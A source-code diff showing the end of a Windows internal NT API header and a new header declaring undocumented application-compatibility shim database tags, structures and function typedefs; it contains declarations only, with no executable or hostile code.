KeySetHandleTagsInformation,
MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum
} KEY_SET_INFORMATION_CLASS;
__kernel_entry NTSTATUS
NTAPI
NtSetInformationKey(
_In_ HANDLE KeyHandle,
_In_ _Strict_type_match_
KEY_SET_INFORMATION_CLASS KeySetInformationClass,
_In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation,
_In_ ULONG KeySetInformationLength
);
//
// use the Win32 API instead
// DeviceIoControl
//
__kernel_entry NTSTATUS
NTAPI
NtDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
//
// use the Win32 API instead
// WaitForSingleObjectEx
//
NTSTATUS
NTAPI
NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout OPTIONAL
);
//
// use the Win32 API instead
// CheckNameLegalDOS8Dot3
//
BOOLEAN
NTAPI
RtlIsNameLegalDOS8Dot3(
IN PUNICODE_STRING Name,
IN OUT POEM_STRING OemName OPTIONAL,
IN OUT PBOOLEAN NameContainsSpaces OPTIONAL
);
//
// This function might be needed for some of the internal Windows functions,
// defined in this header file.
//
_When_(Status < 0, _Out_range_(>, 0))
_When_(Status >= 0, _Out_range_(== , 0))
ULONG
NTAPI
RtlNtStatusToDosError(
NTSTATUS Status
);
//
// use the Win32 APIs instead
// GetProcessHandleCount
// GetProcessId
//
__kernel_entry NTSTATUS
NTAPI
NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 API instead
// GetThreadIOPendingFlag
//
__kernel_entry NTSTATUS
NTAPI
NtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 APIs instead
// GetFileInformationByHandle
// GetFileInformationByHandleEx
// GetProcessInformation
// GetThreadInformation
//
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryObject(
_In_opt_ HANDLE Handle,
_In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
_Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
_In_ ULONG ObjectInformationLength,
_Out_opt_ PULONG ReturnLength
);
//
// use the Win32 APIs instead
// GetSystemRegistryQuota
// GetSystemTimes
// use the CryptoAPIs instead for generating random data
// CryptGenRandom
//
__kernel_entry NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
//
// use the Win32 API instead
// GetSystemTimeAsFileTime
//
__kernel_entry NTSTATUS
NTAPI
NtQuerySystemTime(
OUT PLARGE_INTEGER SystemTime
);
//
// use the Win32 API instead
// LocalFileTimeToFileTime
//
NTSTATUS
NTAPI
RtlLocalTimeToSystemTime(
IN PLARGE_INTEGER LocalTime,
OUT PLARGE_INTEGER SystemTime
);
//
// use the Win32 API instead
// SystemTimeToFileTime to convert to FILETIME structures
// copy the resulting FILETIME structures to ULARGE_INTEGER structures
// perform the calculation
//
BOOLEAN
NTAPI
RtlTimeToSecondsSince1970(
PLARGE_INTEGER Time,
PULONG ElapsedSeconds
);
//
// These APIs might be need for some of the internal Windows functions,
// defined in this header file.
//
VOID
NTAPI
RtlFreeAnsiString(
PANSI_STRING AnsiString
);
VOID
NTAPI
RtlFreeUnicodeString(
PUNICODE_STRING UnicodeString
);
VOID
NTAPI
RtlFreeOemString(
POEM_STRING OemString
);
VOID
NTAPI
RtlInitString(
PSTRING DestinationString,
PCSZ SourceString
);
VOID
NTAPI
RtlInitAnsiString(
PANSI_STRING DestinationString,
PCSZ SourceString
);
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
NTSTATUS
NTAPI
RtlAnsiStringToUnicodeString(
PUNICODE_STRING DestinationString,
PCANSI_STRING SourceString,
BOOLEAN AllocateDestinationString
);
NTSTATUS
NTAPI
RtlUnicodeStringToAnsiString(
PANSI_STRING DestinationString,
PCUNICODE_STRING SourceString,
BOOLEAN AllocateDestinationString
);
NTSTATUS
NTAPI
RtlUnicodeStringToOemString(
POEM_STRING DestinationString,
PCUNICODE_STRING SourceString,
BOOLEAN AllocateDestinationString
);
//
// Use the Win32 API instead
// WideCharToMultiByte
// set CodePage to CP_ACP
// set cbMultiByte to 0
//
NTSTATUS
NTAPI
RtlUnicodeToMultiByteSize(
_Out_ PULONG BytesInMultiByteString,
_In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString,
_In_ ULONG BytesInUnicodeString
);
//
// Use the C runtime function instead
// strtol
//
NTSTATUS
NTAPI
RtlCharToInteger(
PCSZ String,
ULONG Base,
PULONG Value
);
//
// use the Win32 API instead
// ConvertSidToStringSid
//
NTSTATUS
NTAPI
RtlConvertSidToUnicodeString(
PUNICODE_STRING UnicodeString,
PSID Sid,
BOOLEAN AllocateDestinationString
);
//
// use the CryptoAPIs instead
// CryptGenRandom
//
ULONG
NTAPI
RtlUniform(
PULONG Seed
);
#define LOGONID_CURRENT ((ULONG)-1)
#define SERVERNAME_CURRENT ((HANDLE)NULL)
typedef enum _WINSTATIONINFOCLASS {
WinStationInformation = 8
} WINSTATIONINFOCLASS;
typedef struct _WINSTATIONINFORMATIONW {
BYTE Reserved2[70];
ULONG LogonId;
BYTE Reserved3[1140];
} WINSTATIONINFORMATIONW, *PWINSTATIONINFORMATIONW;
//
// this function is implemented in winsta.dll (you need to loadlibrary to call this function)
// this internal function retrives the LogonId (also called SessionId) for the current process
// You should avoid using this function as it can change. you can retrieve the same information
// Using public api WTSQuerySessionInformation. Pass WTSSessionId as the WTSInfoClass parameter
//
typedef BOOLEAN(WINAPI * PWINSTATIONQUERYINFORMATIONW)(
HANDLE, ULONG, WINSTATIONINFOCLASS, PVOID, ULONG, PULONG);
//
// Generic test for success on any status value (non-negative numbers
// indicate success).
//
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
//
// Generic test for information on any status value.
//
#ifndef NT_INFORMATION
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
#endif
//
// Generic test for warning on any status value.
//
#ifndef NT_WARNING
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
#endif
//
// Generic test for error on any status value.
//
#ifndef NT_ERROR
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
#endif
//++
//
// VOID
// InitializeObjectAttributes(
// OUT POBJECT_ATTRIBUTES p,
// IN PUNICODE_STRING n,
// IN ULONG a,
// IN HANDLE r,
// IN PSECURITY_DESCRIPTOR s
// )
//
//--
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
//
// Valid values for the Attributes field
//
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
#define OBJ_VALID_ATTRIBUTES 0x000007F2L
//
// Define the create disposition values
//
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_MAXIMUM_DISPOSITION 0x00000005
//
// Define the create/open option flags
//
#define FILE_DIRECTORY_FILE 0x00000001
#define FILE_WRITE_THROUGH 0x00000002
#define FILE_SEQUENTIAL_ONLY 0x00000004
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_CREATE_TREE_CONNECTION 0x00000080
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
#define FILE_NO_EA_KNOWLEDGE 0x00000200
#define FILE_OPEN_REMOTE_INSTANCE 0x00000400
#define FILE_RANDOM_ACCESS 0x00000800
#define FILE_DELETE_ON_CLOSE 0x00001000
#define FILE_OPEN_BY_FILE_ID 0x00002000
#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000
#define FILE_NO_COMPRESSION 0x00008000
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN7)
#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000
#endif
#define FILE_RESERVE_OPFILTER 0x00100000
#define FILE_OPEN_REPARSE_POINT 0x00200000
#define FILE_OPEN_NO_RECALL 0x00400000
#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000
#define FILE_VALID_OPTION_FLAGS 0x00ffffff
#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032
#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032
#define FILE_VALID_SET_FLAGS 0x00000036
//
// Define the I/O status information return values for NtCreateFile/NtOpenFile
//
#define FILE_SUPERSEDED 0x00000000
#define FILE_OPENED 0x00000001
#define FILE_CREATED 0x00000002
#define FILE_OVERWRITTEN 0x00000003
#define FILE_EXISTS 0x00000004
#define FILE_DOES_NOT_EXIST 0x00000005
#ifdef __cplusplus
}
#endif
#endif // (_WIN32_WINNT >= 0x0500)
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
#endif // _WINTERNL_

View File

@ -0,0 +1,338 @@
/*
Copyright (c) 2014, Jon Erickson
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those
of the authors and should not be interpreted as representing official policies,
either expressed or implied, of the FreeBSD Project.
*/
#include <windows.h>
typedef DWORD TAGID;
typedef DWORD TAGREF;
typedef DWORD TAG;
typedef PVOID PDB;
typedef HANDLE HSDB;
#define HID_DOS_PATHS 0x00000001
#define HID_DATABASE_FULLPATH 0x00000002
#define SDB_MAX_EXES 16
#define SDB_MAX_LAYERS 8
#define SDB_MAX_SDBS 16
#define SDB_DATABASE_SHIM 0x00010000
#define SHIMREG_DISABLE_SHIM 0x00000001
#define SHIMREG_DISABLE_APPHELP 0x00000002
#define SHIMREG_APPHELP_NOUI 0x00000004
#define SHIMREG_APPHELP_CANCEL 0x10000000
#define SHIMREG_DISABLE_SXS 0x00000010
#define SHIMREG_DISABLE_LAYER 0x00000020
#define SHIMREG_DISABLE_DRIVER 0x00000040
#define ATTRIBUTE_AVAILABLE 0x00000001
#define ATTRIBUTE_FAILED 0x00000002
#define TAGID_ROOT 0
#define TAGID_NULL 0
#define TAG_TYPE_NULL 0x1000
#define TAG_TYPE_BYTE 0x2000
#define TAG_TYPE_WORD 0x3000
#define TAG_TYPE_DWORD 0x4000
#define TAG_TYPE_QWORD 0x5000
#define TAG_TYPE_STRINGREF 0x6000
#define TAG_TYPE_LIST 0x7000
#define TAG_TYPE_STRING 0x8000
#define TAG_TYPE_BINARY 0x9000
#define TAG_DATABASE (0x1 | TAG_TYPE_LIST) //Database entry.
#define TAG_LIBRARY (0x2 | TAG_TYPE_LIST) //Library entry.
#define TAG_INEXCLUDE (0x3 | TAG_TYPE_LIST) //Include and exclude entry.
#define TAG_SHIM (0x4 | TAG_TYPE_LIST) //Shim entry that contains the name and purpose information.
#define TAG_PATCH (0x5 | TAG_TYPE_LIST) //Patch entry that contains the in-memory patching information.
#define TAG_APP (0x6 | TAG_TYPE_LIST) //Application entry.
#define TAG_EXE (0x7 | TAG_TYPE_LIST) //Executable entry.
#define TAG_MATCHING_FILE (0x8 | TAG_TYPE_LIST) //Matching file entry.
#define TAG_SHIM_REF (0x9| TAG_TYPE_LIST) //Shim definition entry.
#define TAG_PATCH_REF (0xA | TAG_TYPE_LIST) //Patch definition entry.
#define TAG_LAYER (0xB | TAG_TYPE_LIST) // Layer shim entry.
#define TAG_FILE (0xC | TAG_TYPE_LIST) //File attribute used in a shim entry.
#define TAG_APPHELP (0xD | TAG_TYPE_LIST) //Apphelp information entry.
#define TAG_LINK (0xE | TAG_TYPE_LIST) //Apphelp online link information entry.
#define TAG_DATA (0xF | TAG_TYPE_LIST) //Name-value mapping entry.
#define TAG_MSI_TRANSFORM (0x10 | TAG_TYPE_LIST) //MSI transformation entry.
#define TAG_MSI_TRANSFORM_REF (0x11 | TAG_TYPE_LIST) //MSI transformation definition entry.
#define TAG_MSI_PACKAGE (0x12 | TAG_TYPE_LIST) //MSI package entry.
#define TAG_FLAG (0x13 | TAG_TYPE_LIST) //Flag entry.
#define TAG_MSI_CUSTOM_ACTION (0x14 | TAG_TYPE_LIST) //MSI custom action entry.
#define TAG_FLAG_REF (0x15 | TAG_TYPE_LIST) //Flag definition entry.
#define TAG_ACTION (0x16 | TAG_TYPE_LIST) //Unused.
#define TAG_LOOKUP (0x17 | TAG_TYPE_LIST) //Lookup entry used for lookup in a driver database.
#define TAG_STRINGTABLE (0x801 | TAG_TYPE_LIST) // String table entry.
#define TAG_INDEXES (0x802 | TAG_TYPE_LIST) // Indexes entry that defines all the indexes in a shim database.
#define TAG_INDEX (0x803 | TAG_TYPE_LIST) // Index entry that defines an index in a shim database.
#define TAG_NAME (0x1 | TAG_TYPE_STRINGREF) //Name attribute.
#define TAG_DESCRIPTION (0x2 | TAG_TYPE_STRINGREF) //Description entry.
#define TAG_MODULE (0x3 | TAG_TYPE_STRINGREF) //Module attribute.
#define TAG_API (0x4 | TAG_TYPE_STRINGREF) //API entry.
#define TAG_VENDOR (0x5 | TAG_TYPE_STRINGREF) //Vendor name attribute.
#define TAG_APP_NAME (0x6 | TAG_TYPE_STRINGREF) //Application name attribute that describes an application entry in a shim database.
#define TAG_COMMAND_LINE (0x8 | TAG_TYPE_STRINGREF) //Command line attribute that is used when passing arguments to a shim, for example.
#define TAG_COMPANY_NAME (0x9 | TAG_TYPE_STRINGREF) //Company name attribute.
#define TAG_DLLFILE (0xA | TAG_TYPE_STRINGREF) //DLL file attribute for a shim entry.
#define TAG_WILDCARD_NAME (0xB | TAG_TYPE_STRINGREF) //Wildcard name attribute for an executable entry with a wildcard as the file name.
#define TAG_PRODUCT_NAME (0x10 | TAG_TYPE_STRINGREF) //Product name attribute.
#define TAG_PRODUCT_VERSION (0x11 | TAG_TYPE_STRINGREF) //Product version attribute.
#define TAG_FILE_DESCRIPTION (0x12 | TAG_TYPE_STRINGREF) //File description attribute.
#define TAG_FILE_VERSION (0x13 | TAG_TYPE_STRINGREF) //File version attribute.
#define TAG_ORIGINAL_FILENAME (0x14 | TAG_TYPE_STRINGREF) //Original file name attribute.
#define TAG_INTERNAL_NAME (0x15 | TAG_TYPE_STRINGREF) //Internal file name attribute.
#define TAG_LEGAL_COPYRIGHT (0x16 | TAG_TYPE_STRINGREF) //Copyright attribute.
#define TAG_16BIT_DESCRIPTION (0x17 | TAG_TYPE_STRINGREF) //16-bit description attribute.
#define TAG_APPHELP_DETAILS (0x18 | TAG_TYPE_STRINGREF) //Apphelp details message information attribute.
#define TAG_LINK_URL (0x19 | TAG_TYPE_STRINGREF) //Apphelp online link URL attribute.
#define TAG_LINK_TEXT (0x1A | TAG_TYPE_STRINGREF) //Apphelp online link text attribute.
#define TAG_APPHELP_TITLE (0x1B | TAG_TYPE_STRINGREF) //Apphelp title attribute.
#define TAG_APPHELP_CONTACT (0x1C | TAG_TYPE_STRINGREF) //Apphelp vendor contact attribute.
#define TAG_SXS_MANIFEST (0x1D | TAG_TYPE_STRINGREF) //Side-by-side manifest entry.
#define TAG_DATA_STRING (0x1E | TAG_TYPE_STRINGREF) //String attribute for a data entry.
#define TAG_MSI_TRANSFORM_FILE (0x1F | TAG_TYPE_STRINGREF) //File name attribute of an MSI transformation entry.
#define TAG_16BIT_MODULE_NAME (0x20 | TAG_TYPE_STRINGREF) //16-bit module name attribute.
#define TAG_LAYER_DISPLAYNAME (0x21 | TAG_TYPE_STRINGREF) //Unused.
#define TAG_COMPILER_VERSION (0x22 | TAG_TYPE_STRINGREF) //Shim database compiler version.
#define TAG_ACTION_TYPE (0x23 | TAG_TYPE_STRINGREF) //Unused.
#define TAG_EXPORT_NAME (0x24 | TAG_TYPE_STRINGREF) //Export file name attribute.
#define TAG_SIZE (0x1 | TAG_TYPE_DWORD) //File size attribute.
#define TAG_OFFSET (0x2 | TAG_TYPE_DWORD) //Unused.
#define TAG_CHECKSUM (0x3 | TAG_TYPE_DWORD) //File checksum attribute.
#define TAG_SHIM_TAGID (0x4 | TAG_TYPE_DWORD) //Shim TAGID attribute.
#define TAG_PATCH_TAGID (0x5 | TAG_TYPE_DWORD) //Patch TAGID attribute.
#define TAG_MODULE_TYPE (0x6 | TAG_TYPE_DWORD) //Module type attribute.
#define TAG_VERDATEHI (0x7 | TAG_TYPE_DWORD) //High-order portion of the file version date attribute.
#define TAG_VERDATELO (0x8 | TAG_TYPE_DWORD) //Low-order portion of the file version date attribute.
#define TAG_VERFILEOS (0x9 | TAG_TYPE_DWORD) //Operating system file version attribute.
#define TAG_VERFILETYPE (0xA | TAG_TYPE_DWORD) //File type attribute.
#define TAG_PE_CHECKSUM (0xB | TAG_TYPE_DWORD) //PE file checksum attribute.
#define TAG_PREVOSMAJORVER (0xC | TAG_TYPE_DWORD) //Major operating system version attribute.
#define TAG_PREVOSMINORVER (0xD | TAG_TYPE_DWORD) //Minor operating system version attribute.
#define TAG_PREVOSPLATFORMID (0xE | TAG_TYPE_DWORD) //Operating system platform identifier attribute.
#define TAG_PREVOSBUILDNO (0xF | TAG_TYPE_DWORD) //Operating system build number attribute.
#define TAG_PROBLEMSEVERITY (0x10 | TAG_TYPE_DWORD) //Block attribute of an Apphelp entry. This determines whether the application is hard or soft blocked.
#define TAG_LANGID (0x11 | TAG_TYPE_DWORD) //Language identifier of an Apphelp entry.
#define TAG_VER_LANGUAGE (0x12 | TAG_TYPE_DWORD) //Language version attribute of a file.
#define TAG_ENGINE (0x14 | TAG_TYPE_DWORD) //Unused.
#define TAG_HTMLHELPID (0x15 | TAG_TYPE_DWORD) //Help identifier attribute for an Apphelp entry.
#define TAG_INDEX_FLAGS (0x16 | TAG_TYPE_DWORD) //Flags attribute for an index entry.
#define TAG_FLAGS (0x17 | TAG_TYPE_DWORD) //Flags attribute for an Apphelp entry.
#define TAG_DATA_VALUETYPE (0x18 | TAG_TYPE_DWORD) //Data type attribute for a data entry.
#define TAG_DATA_DWORD (0x19 | TAG_TYPE_DWORD) //DWORD value attribute for a data entry.
#define TAG_LAYER_TAGID (0x1A | TAG_TYPE_DWORD) //Layer shim TAGID attribute.
#define TAG_MSI_TRANSFORM_TAGID (0x1B | TAG_TYPE_DWORD) //MSI transform TAGID attribute.
#define TAG_LINKER_VERSION (0x1C | TAG_TYPE_DWORD) //Linker version attribute of a file.
#define TAG_LINK_DATE (0x1D | TAG_TYPE_DWORD) //Link date attribute of a file.
#define TAG_UPTO_LINK_DATE (0x1E | TAG_TYPE_DWORD) //Link date attribute of a file. Matching is done up to and including this link date.
#define TAG_OS_SERVICE_PACK (0x1F | TAG_TYPE_DWORD) //Operating system service pack attribute for an executable entry.
#define TAG_FLAG_TAGID (0x20 | TAG_TYPE_DWORD) //Flags TAGID attribute.
#define TAG_RUNTIME_PLATFORM (0x21 | TAG_TYPE_DWORD) //Run-time platform attribute of a file.
#define TAG_OS_SKU (0x22 | TAG_TYPE_DWORD) //Operating system SKU attribute for an executable entry.
#define TAG_OS_PLATFORM (0x23 | TAG_TYPE_DWORD) //Operating system platform attribute.
#define TAG_APP_NAME_RC_ID (0x24 | TAG_TYPE_DWORD) //Application name resource identifier attribute for Apphelp entries.
#define TAG_VENDOR_NAME_RC_ID (0x25 | TAG_TYPE_DWORD) //Vendor name resource identifier attribute for Apphelp entries.
#define TAG_SUMMARY_MSG_RC_ID (0x26 | TAG_TYPE_DWORD) //Summary message resource identifier attribute for Apphelp entries.
#define TAG_VISTA_SKU (0x27 | TAG_TYPE_DWORD) //Windows Vista SKU attribute.
#define TAG_DESCRIPTION_RC_ID (0x28 | TAG_TYPE_DWORD) //Description resource identifier attribute for Apphelp entries.
#define TAG_PARAMETER1_RC_ID (0x29 | TAG_TYPE_DWORD) //Parameter1 resource identifier attribute for Apphelp entries.
#define TAG_TAGID (0x801 | TAG_TYPE_DWORD) //TAGID attribute.
#define TAG_STRINGTABLE_ITEM (0x801 | TAG_TYPE_STRING) //String table item entry.
#define TAG_INCLUDE (0x1 | TAG_TYPE_NULL) //Include list entry.
#define TAG_GENERAL (0x2 | TAG_TYPE_NULL) //General purpose shim entry.
#define TAG_MATCH_LOGIC_NOT (0x3 | TAG_TYPE_NULL) //NOT of matching logic entry.
#define TAG_APPLY_ALL_SHIMS (0x4 | TAG_TYPE_NULL) //Unused.
#define TAG_USE_SERVICE_PACK_FILES (0x5 | TAG_TYPE_NULL) //Service pack information for Apphelp entries.
#define TAG_MITIGATION_OS (0x6 | TAG_TYPE_NULL) //Mitigation at operating system scope entry.
#define TAG_BLOCK_UPGRADE (0x7 | TAG_TYPE_NULL) //Upgrade block entry.
#define TAG_INCLUDEEXCLUDEDLL (0x8 | TAG_TYPE_NULL) //DLL include/exclude entry.
#define TAG_TIME (0x1 | TAG_TYPE_QWORD) //Time attribute.
#define TAG_BIN_FILE_VERSION (0x2 | TAG_TYPE_QWORD) //Bin file version attribute for file entries.
#define TAG_BIN_PRODUCT_VERSION (0x3 | TAG_TYPE_QWORD) //Bin product version attribute for file entries.
#define TAG_MODTIME (0x4 | TAG_TYPE_QWORD) //Unused.
#define TAG_FLAG_MASK_KERNEL (0x5 | TAG_TYPE_QWORD) //Kernel flag mask attribute.
#define TAG_UPTO_BIN_PRODUCT_VERSION (0x6 | TAG_TYPE_QWORD) //Bin product version attribute of a file. Matching is done up to and including this product version.
#define TAG_DATA_QWORD (0x7 | TAG_TYPE_QWORD) //ULONGLONG value attribute for a data entry.
#define TAG_FLAG_MASK_USER (0x8 | TAG_TYPE_QWORD) //User flag mask attribute.
#define TAG_FLAGS_NTVDM1 (0x9 | TAG_TYPE_QWORD) //NTVDM1 flag mask attribute.
#define TAG_FLAGS_NTVDM2 (0xA | TAG_TYPE_QWORD) //NTVDM2 flag mask attribute.
#define TAG_FLAGS_NTVDM3 (0xB | TAG_TYPE_QWORD) //NTVDM3 flag mask attribute.
#define TAG_FLAG_MASK_SHELL (0xC | TAG_TYPE_QWORD) //Shell flag mask attribute.
#define TAG_UPTO_BIN_FILE_VERSION (0xD | TAG_TYPE_QWORD) //Bin file version attribute of a file. Matching is done up to and including this file version.
#define TAG_FLAG_MASK_FUSION (0xE | TAG_TYPE_QWORD) //Fusion flag mask attribute.
#define TAG_FLAG_PROCESSPARAM (0xF | TAG_TYPE_QWORD) //Process param flag attribute.
#define TAG_FLAG_LUA (0x10 | TAG_TYPE_QWORD) //LUA flag attribute.
#define TAG_FLAG_INSTALL (0x11 | TAG_TYPE_QWORD) //Install flag attribute.
#define TAG_PATCH_BITS (0x2 | TAG_TYPE_BINARY) //Patch file bits attribute.
#define TAG_FILE_BITS (0x3 | TAG_TYPE_BINARY) //File bits attribute.
#define TAG_EXE_ID (0x4 | TAG_TYPE_BINARY) //GUID attribute of an executable entry.
#define TAG_DATA_BITS (0x5 | TAG_TYPE_BINARY) //Data bits attribute.
#define TAG_MSI_PACKAGE_ID (0x6 | TAG_TYPE_BINARY) //MSI package identifier attribute of an MSI package.
#define TAG_DATABASE_ID (0x7 | TAG_TYPE_BINARY) //GUID attribute of a database.
#define TAG_INDEX_BITS (0x801 | TAG_TYPE_BINARY) //Index bits attribute.
#define TAG_APP_ID (0x11 | TAG_TYPE_BINARY) // App id guid?
#define TAG_FIX_ID (0x10 | TAG_TYPE_BINARY) // undocumented
#define TAG_MATCH_MODE (0x1 | TAG_TYPE_WORD) //Match mode attribute.
#define TAG_TAG (0x801 | TAG_TYPE_WORD) //TAG entry.
#define TAG_INDEX_TAG (0x802 | TAG_TYPE_WORD) //Index TAG attribute for an index entry.
#define TAG_INDEX_KEY (0x803 | TAG_TYPE_WORD) //Index key attribute for an index entry.
typedef struct tagAPPHELP_DATA {
DWORD dwFlags;
DWORD dwSeverity;
DWORD dwHTMLHelpID;
LPTSTR szAppName;
TAGREF trExe;
LPTSTR szURL;
LPTSTR szLink;
LPTSTR szAppTitle;
LPTSTR szContact;
LPTSTR szDetails;
DWORD dwData;
BOOL bSPEntry;
} APPHELP_DATA, *PAPPHELP_DATA;
typedef struct tagATTRINFO {
TAG tAttrID;
DWORD dwFlags;
union {
ULONGLONG ullAttr;
DWORD dwAttr;
TCHAR *lpAttr;
};
} ATTRINFO, *PATTRINFO;
typedef struct _FIND_INFO {
TAGID tiIndex;
TAGID tiCurrent;
TAGID tiEndIndex;
TAG tName;
DWORD dwIndexRec;
DWORD dwFlags;
ULONGLONG ullKey;
union {
LPCTSTR szName;
DWORD dwName;
GUID *pguidName;
};
} FIND_INFO, *PFIND_INFO;
typedef DWORD INDEXID;
typedef enum _PATH_TYPE {
DOS_PATH,
NT_PATH
} PATH_TYPE;
typedef struct tagSDBQUERYRESULT {
TAGREF atrExes[SDB_MAX_EXES];
DWORD adwExeFlags[SDB_MAX_EXES];
TAGREF atrLayers[SDB_MAX_LAYERS];
DWORD dwLayerFlags;
TAGREF trApphelp;
DWORD dwExeCount;
DWORD dwLayerCount;
GUID guidID;
DWORD dwFlags;
DWORD dwCustomSDBMap;
GUID rgGuidDB[SDB_MAX_SDBS];
} SDBQUERYRESULT, *PSDBQUERYRESULT;
#define PATCH_MATCH 0x4
#define PATCH_REPLACE 0x2
#define MAX_MODULE 32
typedef struct _PATCHBITS
{
DWORD opcode;
DWORD actionSize;
DWORD patternSize;
DWORD rva;
DWORD unknown;
WCHAR moduleName[MAX_MODULE];
BYTE pattern[1];
} PATCHBITS, *PPATCHBITS;
//functions
typedef BOOL(WINAPI *BaseFlushAppcompatCache)(void);
typedef TAGID(WINAPI *SdbBeginWriteListTag)(PDB pdb, TAG tTag);
typedef void (WINAPI *SdbCloseDatabase)(PDB pdb);
typedef void (WINAPI *SdbCloseDatabaseWrite)(PDB pdb);
typedef BOOL(WINAPI *SdbCommitIndexes)(PDB pdb);
typedef PDB(WINAPI *SdbCreateDatabase)(LPCWSTR pwszPath, PATH_TYPE eType);
typedef BOOL(WINAPI *SdbDeclareIndex)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwEntries, BOOL bUniqueKey, INDEXID *piiIndex);
typedef BOOL(WINAPI *SdbEndWriteListTag)(PDB pdb, TAGID tiList);
typedef TAGID(WINAPI *SdbFindFirstDWORDIndexedTag)(PDB pdb, TAG tWhich, TAG tKey, DWORD dwName, FIND_INFO *pFindInfo);
typedef TAGID(WINAPI *SdbFindFirstTag)(PDB pdb, TAGID tiParent, TAG tTag);
typedef TAGID(WINAPI *SdbFindNextTag)(PDB pdb, TAGID tiParent, TAGID tiPrev);
typedef BOOL(WINAPI *SdbFormatAttribute)(PATTRINFO pAttrInfo, LPTSTR pchBuffer, DWORD dwBufferSize);
typedef BOOL(WINAPI *SdbFreeFileAttributes)(PATTRINFO pFileAttributes);
typedef void (WINAPI *SdbGetAppPatchDir)(HSDB hSDB, LPTSTR szAppPatchPath, DWORD cchSize);
typedef PVOID(WINAPI *SdbGetBinaryTagData)(PDB pdb, TAGID tiWhich);
typedef BOOL(WINAPI *SdbGetFileAttributes)(LPCTSTR lpwszFileName, PATTRINFO *ppAttrInfo, LPDWORD lpdwAttrCount);
